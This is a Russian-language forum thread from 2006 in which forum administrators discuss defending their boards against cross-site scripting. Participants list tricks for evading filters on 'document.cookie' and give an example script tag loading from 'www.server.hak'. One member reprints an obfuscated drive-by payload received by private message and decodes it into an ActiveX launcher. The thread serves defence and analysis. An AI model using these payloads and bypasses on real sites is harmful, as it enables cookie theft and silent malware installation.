Song Опубликовано 9 Мая 2006 Жалоба Поделиться Опубликовано 9 Мая 2006 короче я так понимаю любой непечатный символ ? Ссылка на комментарий Поделиться на других сайтах Прочее
freeman85 Опубликовано 9 Мая 2006 Жалоба Поделиться Опубликовано 9 Мая 2006 (изменено) короче я так понимаю любой непечатный символ ? не уверен, наверняка символы chr(0xCA)(тот самый, невидимый) тож не проверял в общем. Изменено 9 Мая 2006 пользователем freeman85 Ссылка на комментарий Поделиться на других сайтах Прочее
xRay Опубликовано 9 Мая 2006 Автор Жалоба Поделиться Опубликовано 9 Мая 2006 на античате детишки все пробуют... вообщем табы проходят как вы увидили на ура, пробелы тожеможно строчкку закодировать... вообщем надо искать глобальный выход из этой клоаки... Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 9 Мая 2006 Жалоба Поделиться Опубликовано 9 Мая 2006 не знаю, первое что я попробовал, это ставить пробелы в Опере, в IE, в FFвезде document.cookie перестаёт восприниматься как команда яваскрипта. Может правда как-то не так ставил Ссылка на комментарий Поделиться на других сайтах Прочее
freeman85 Опубликовано 9 Мая 2006 Жалоба Поделиться Опубликовано 9 Мая 2006 не знаю, первое что я попробовал, это ставить пробелы в Опере, в IE, в FFвезде document.cookie перестаёт восприниматься как команда яваскрипта. Может правда как-то не так ставил может я не правильно понел тебя, смотри файл http://chuhodi.nm.ru/cookie.htmесли ошибки нету, значит прошло успешно... открой в редакторе где видны скрытые символы (таб., пробелы, переносы) Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 10 Мая 2006 Жалоба Поделиться Опубликовано 10 Мая 2006 Так надо чтобы при этом ещё document<что-то тут>.<что-то тут>cookie воспринималось браузером как команда отдать куки. Ну например в том же самом алерте. Короче говоря, работает ли такая байда что alert(document<что-то тут>.<что-то тут>cookie);будет выдавать именно куки.Сам алерт-то будет работать понятное дело. Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 10 Мая 2006 Жалоба Поделиться Опубликовано 10 Мая 2006 на античате было сказано про баг через жалобу, так я отключил в 215 возможность пиплу "жаловаться"кнопки жалоба нетотключается стандартными средствами в защите в настройках, если что Ссылка на комментарий Поделиться на других сайтах Прочее
freeman85 Опубликовано 10 Мая 2006 Жалоба Поделиться Опубликовано 10 Мая 2006 (изменено) Так надо чтобы при этом ещё document<что-то тут>.<что-то тут>cookie воспринималось браузером как команда отдать куки. Ну например в том же самом алерте. Короче говоря, работает ли такая байда что alert(document<что-то тут>.<что-то тут>cookie);будет выдавать именно куки.Сам алерт-то будет работать понятное дело. закинь файло в корень фоума и запусти фишка в чем, с document.cookie можно извращатся(т.е. оно будет работать) до тех пор пока в IE не покажет ошибку JavaScript Error бла бла бла. Изменено 10 Мая 2006 пользователем freeman85 Ссылка на комментарий Поделиться на других сайтах Прочее
freeman85 Опубликовано 12 Мая 2006 Жалоба Поделиться Опубликовано 12 Мая 2006 Song звиняюсь, что нибудь есть? Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 13 Мая 2006 Жалоба Поделиться Опубликовано 13 Мая 2006 угу, вот тесть дальше: http://www.sysman.ru/index.php?showtopic=2...indpost&p=38336 я думал ты в ту тему будешь наведоваться. Ссылка на комментарий Поделиться на других сайтах Прочее
freeman85 Опубликовано 13 Мая 2006 Жалоба Поделиться Опубликовано 13 Мая 2006 звиняюсь =) Ссылка на комментарий Поделиться на других сайтах Прочее
FatCat Опубликовано 14 Мая 2006 Жалоба Поделиться Опубликовано 14 Мая 2006 угу, вот тесть дальше: http://www.sysman.ru/index.php?showtopic=2...indpost&p=38336 я думал ты в ту тему будешь наведоваться.Гы! Последний аккорд с двойным латинским "о" особенно порадовал. Пока есть возможность инъекции джаваскрипта, существуют сотни способов отработки строки. Например такой:str='d'+'o'+'c'+'u'+'m'+'e'+'n'+'t'+'.'+'c'+'o'+'o'+'k'+'i'+'e' alert(str) Или такой:alert(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)) eval() запрещать будем? Одновремено с write() и с writeln()? Я уже не говорю о примитиве:<script type="text/javascript" src="www.server.hak/hak.js"> ИМХО, пока не заткнута возможность инъецирвать джаваскрипт, дыра не заткнута. ИМХО, только полный запрет слова "джаваскрипт" в латинском написании спасет отца русской демократии. Ссылка на комментарий Поделиться на других сайтах Прочее
freeman85 Опубликовано 14 Мая 2006 Жалоба Поделиться Опубликовано 14 Мая 2006 (изменено) FatCat мдее... теперь название темы еще больше сюда подходит.эхх. Изменено 14 Мая 2006 пользователем freeman85 Ссылка на комментарий Поделиться на других сайтах Прочее
freeman85 Опубликовано 15 Мая 2006 Жалоба Поделиться Опубликовано 15 Мая 2006 Fatcat str='d'+'o'+'c'+'u'+'m'+'e'+'n'+'t'+'.'+'c'+'o'+'o'+'k'+'i'+'e'alert(str) alert(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)) Разве пройдет? они ж по понятиям строковые :-\ Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 15 Мая 2006 Жалоба Поделиться Опубликовано 15 Мая 2006 Хорошо, FatCatя согласен, способов достаточно много. ну так "javascript" заменить пара пустяков.Ещё есть способы? Ссылка на комментарий Поделиться на других сайтах Прочее
FatCat Опубликовано 15 Мая 2006 Жалоба Поделиться Опубликовано 15 Мая 2006 Разве пройдет? они ж по понятиям строковые :-\eval(строковая переменная) - выполнение значения строковой переменной программным кодом.Не столь очевидно, но аналогично действует и write(переменная). Хорошо, FatCatя согласен, способов достаточно много. ну так "javascript" заменить пара пустяков.Ещё есть способы?Способов защиты можно придумать много. Наиболее радикальным будет запрет в форуме латинской буквы "c" с заменой ее на аналогично выглядящую русскую. Но это поломает отображение части пользователей: не во всех шрифтах русская буква внешне идентична латинской.ИМХО, парсинг "javascript", а еще лучше парсинг "script" по буквам "с" и "р" на русские достаточен. Вообще нужно защищать не только одни куки.Этот вопрос у меня решен просто. Всего один ник имеет доступ в админку, и этот ник никогда не выходит в форум.Хакер узнает мой пароль. Чтож, печально, он станет мультимодератором и сможет попортить часть сообщений. Печально, но не смертельно: дамп базы скидывается каждую ночь. Обвалить форум с моего ника в форуме невозможно. Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 15 Мая 2006 Жалоба Поделиться Опубликовано 15 Мая 2006 вывод - лучшая защита есть ваша бдительность короче, пароль админа из 15 символов и дамп бд ежедневный и всё Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 15 Мая 2006 Жалоба Поделиться Опубликовано 15 Мая 2006 2FatCat а прокатит, если слово javascript заменить юникодом? Лень проверять Ссылка на комментарий Поделиться на других сайтах Прочее
freeman85 Опубликовано 15 Мая 2006 Жалоба Поделиться Опубликовано 15 Мая 2006 Song зайди на эту страницу тут все XSS методы Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 17 Мая 2006 Жалоба Поделиться Опубликовано 17 Мая 2006 зачем тему запаролил? Ссылка на комментарий Поделиться на других сайтах Прочее
freeman85 Опубликовано 17 Мая 2006 Жалоба Поделиться Опубликовано 17 Мая 2006 видимо тестирует =) Ссылка на комментарий Поделиться на других сайтах Прочее
FatCat Опубликовано 17 Мая 2006 Жалоба Поделиться Опубликовано 17 Мая 2006 а прокатит, если слово javascript заменить юникодом? Лень проверять Если БД и страница в юникоде - тогда прокатит Приведу ради хохмы живой пример как ломали один из форумов и мою расшифровку "ломалки": В ПМ пришел код:<script language=javascript>document.write(unescape('<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script>'));dF('(6Fkwpo(6H(6Fwh{wduhd(53lg(6Gfrgh(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(6H(6Fkwpo(6H(6Fremhfw(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(53gdwd(6G(93(59(5643<(59(56448(59(5678(59(56438(59(56449(59(56448(59(568;(59(5643<(59(56437(59(56449(59(5643<(59(5643;(59(568;(59(56435(59(56438(59(5643;(59(56434(6E(6D22g(6D(8Firr1pkw(54(57(:ESDWK(:G2(59(56448(59(56449(59(56454(59(5643;(59(56434(59(5679(59(56<<(59(56448(59(56448(6E(6D(6D2(59(56453(59(5679(59(56437(59(56449(59(5643<(6E(93(53w|sh(6G(55wh{w2{0vfulswohw(55(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(6H(6F2remhfw(6H(6F2wh{wduhd(6H(6Feu(6H(6Fvfulsw(53odqjxdjh(6G(5:mdydvfulsw(5:(6Hgrfxphqw1zulwh(5;frgh1ydoxh1uhsodfh(5;2(8F(57(:ESDWK(:G2j(5Forfdwlrq1kuhi1vxevwulqj(5;3(5Forfdwlrq1kuhi1lqgh{Ri(5;(5:dgg1kwpo(5:(5<(5<(5<(5<(6E(6F2vfulsw(6H(6F2kwpo(6H(6F2kwpo(6H3')</script> Распишу пошагово: Шаг 1:Увидел, что определена функция function dF(s) и ей передается длиннющий строковый параметр:dF('(6Fkwpo(6H(6F ... (6F2kwpo(6H3')Открывающие скобки внутри одиночных кавычек - часть строкового параметра, а не операторы. Шаг 2:Шуточки с и-эксплорером:<script language=javascript>document.write(unescape('<script language="javascript">function dF(s)Функция будет работать не в объекте document, а в виртуально машине... да еще и после анэскапирования. Шаг 3:Для удобства выношу обрабатываемую строку в переменную (qqq), вызываю функцию уже с именем переменной в аргументе, а вывод делаю не "врайтами", а алертом (последнее действие в функции). Делаю файлом:<html><head></head><body> <script language=javascript> qqq='(6Fkwpo(6H(6Fwh{wduhd(53lg(6Gfrgh(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(6H(6Fkwpo(6H(6Fremhfw(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(53gdwd(6G(93(59(5643<(59(56448(59(5678(59(56438(59(56449(59(56448(59(568;(59(5643<(59(56437(59(56449(59(5643<(59(5643;(59(568;(59(56435(59(56438(59(5643;(59(56434(6E(6D22g(6D(8Firr1pkw(54(57(:ESDWK(:G2(59(56448(59(56449(59(56454(59(5643;(59(56434(59(5679(59(56<<(59(56448(59(56448(6E(6D(6D2(59(56453(59(5679(59(56437(59(56449(59(5643<(6E(93(53w|sh(6G(55wh{w2{0vfulswohw(55(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(6H(6F2remhfw(6H(6F2wh{wduhd(6H(6Feu(6H(6Fvfulsw(53odqjxdjh(6G(5:mdydvfulsw(5:(6Hgrfxphqw1zulwh(5;frgh1ydoxh1uhsodfh(5;2(8F(57(:ESDWK(:G2j(5Forfdwlrq1kuhi1vxevwulqj(5;3(5Forfdwlrq1kuhi1lqgh{Ri(5;(5:dgg1kwpo(5:(5<(5<(5<(5<(6E(6F2vfulsw(6H(6F2kwpo(6H(6F2kwpo(6H3' function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));ddd=unescape(t);alert(ddd)} dF(qqq) </script> </body></html>При запуске этого файла и получился прицепленный мной скриншот первого преобразования. http://thefatcat.nm.ru/1111.gif Уже что-то читается, но еще часть символов написана метасимволами. Шаг 4:Кинул код на виртуальную машину (в поп-ап-окне), вытянул код в текст (чтобы не бить с руки из окошка алерта) и заменил метасимволы символами, получился код второго преобразования.<html><textarea id=code style=`display:none;`> <html><object style=`display:none;` data=`ms-its:mhtml:file://d:\foo.mht!${PATH}/;style.css` type="text/x-scriptlet" style=`display:none;`> </object></textarea><br> <script language='javascript'> document.write(code.value.replace(/\${PATH}/g,location.href.substring(0,location.href.indexOf('add.html')))); </script> </html></html> Из кода видно, что скрипт позволяет запускать активиксы из файла, а имя файла активикса style.css Итак, вывод: перед нами скрипт, запускающий активикс из файла style.css без спроса пользователя, вслед за открытием страницы, содержащей этот код. Собственно, тогда я для себя решил, что само слово "джаваскрипт" должно быть вне закона в постингах... Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 17 Мая 2006 Жалоба Поделиться Опубликовано 17 Мая 2006 Если БД и страница в юникоде - тогда прокатит а причём тут БД? Это ж на клиентской стороне выполняется.Главное, чтобы написаное было валидным для браузера, а уж в какой кодировке БД, это уже дело 10-ое. зачем тему запаролил?Там результаты тестов. Пока не афиширую.Ещё попроверяю, если ничего не найду открою сегодня к 22-ум.Вообще по-моему всё что приводили примеры, все закрыл. В ПМ пришел код: да как он мог быть рабочим, если <script это первое что блокируется при пеерчислении $HTTP_POST_VARS и $HTTP_GET_VARSон просто не мог бы быть выполненным. Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 18 Мая 2006 Жалоба Поделиться Опубликовано 18 Мая 2006 ну.. можно пробовать Ссылка на комментарий Поделиться на других сайтах Прочее
Siberex Опубликовано 21 Июня 2006 Жалоба Поделиться Опубликовано 21 Июня 2006 Господа, я тут подумал (в кои-то веки) - а разве VBScript не опасен в том же самом плане?P.S. Я так и не понял во что вылилась идея защиты от js - Song обещал мега-мод ведь? Ссылка на комментарий Поделиться на других сайтах Прочее
Рекомендуемые сообщения